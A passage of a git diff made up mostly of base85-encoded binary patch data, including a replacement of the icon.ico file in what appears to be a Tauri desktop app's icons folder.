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
RT{H-IX{qVnFITY%`)_e+9*_V4

diff --git a/studio/src-tauri/icons/icon.ico b/studio/src-tauri/icons/icon.ico
index acc6eb82b9b52829178ffd2943fcfcceec6ec0ac..72bb4631f23b1bb6032fb181db6339fbbd738c38 100644
GIT binary patch
literal 38034
zcmbTdc|25Y{QrM!QAm;qAw=b_NkU~At;p7{#7rv*O|s1}W<({4sZ_E~cO^-hHiR)l
zw(J!dTgE<?m>GkaG28bV_viQD@A3UU9-kiWZpP_4=UnHy-plj#IuIlSErSdVA@Ii#
zI<y>u{J?jsR{i&Lyc`6*1D|PY|M#=mG6;gHLeTc@|NT6z20^DZAjr}2zn}lnf}s7z
z((k2z3?XB02tw_Fpu{5{PO2+(R)7yxU7QabTlyt9KnaWog+@iqLC|tlmjioGpk<~j
z<(`|Id0NMoM9w6CZ_c~ndhva5Z}I<p1>DbhdYF{6!_sJmA5n5O>UDx`;BS&_7B3fu
zePT#C+UaT(Cvh{~DhYmM5XE+Pm?wk{rBPTX<7Rt5KAT6pSG|i@*Z|$fsGmtnzfr3H
zXrV{F#-{E<r{Ic}?9jmzn&(1yy*pj<@Bv!A!KuJv?PrI(D3vp?iP0YC^^&*;Z&rLL
zjV$%-9MCinI_qO+bxsXCYu$dp({jm93v7yNxThpm*l_bas^ZcU4KtfaUX50?90Ikc
zbsEpovf~XB#+0vhjo1(uY=Y)8gXTk5y=qb3aBGVs?(M*@D3`VDMYWia{(+HrOkzkC
zF@`~4Q|K(!zK|IQ2WC4wl_aWBV`#P6-KYO4k4IAHL*Arc{H&0gswJB(&V^aP9FJa)
zC~XV0AODH%Q-#&fkR<D<EMs^TQ~cB5I-^tojhCfdvmWl~v?j4vkeV|q+IvH0RS}7>
za!wns@T@^wk*=+q2LcLPOrzA;862#taEitbHC1dtEvRr@48%u;Y`R#JTTt}NyV|;K
z`XplZGVcXRqJtB!<=vw$hQB`()ShK$Am8S6@;d#eK9PGE)!HQKEF^aZQcUr}68yo!
zC*J0{YhDL@vxailTrKSI&M%sE!VA2}3*ZQtB-4`-iWqb+MU^_8WMNm?rM(^aI~&Wz
zvAu?K#jKV6><YSE?E5L`+3Unkokw?-On!P_%rM=dA^i-^;KslZL)>e_B81RtS9xFF
z7W6iGHN%=4I_R#6K#YXFr=Raj*Nmkw*VR7^$bitdz0e9lsp(x~)ee8F(It`5Hak)S
zGPLU-Qov|wT(nJpV0cCXk&-jI)38Qvm7U|mE?pY7&ls7F65WT5T=B6awynE!b9y?s
zf8Lk=q#iD2V<+=)ThyyEE4njfSXBnXDy)Qyhf_tp)Rt%pBl^?nf3)i!^0BQ~b@-ia
zynPM}>ZH2<udki$pgkg2<ON7(f9BW0ngGf%!k9Z^zUYnbWgRmFHyoLU<lRP|b0EsG
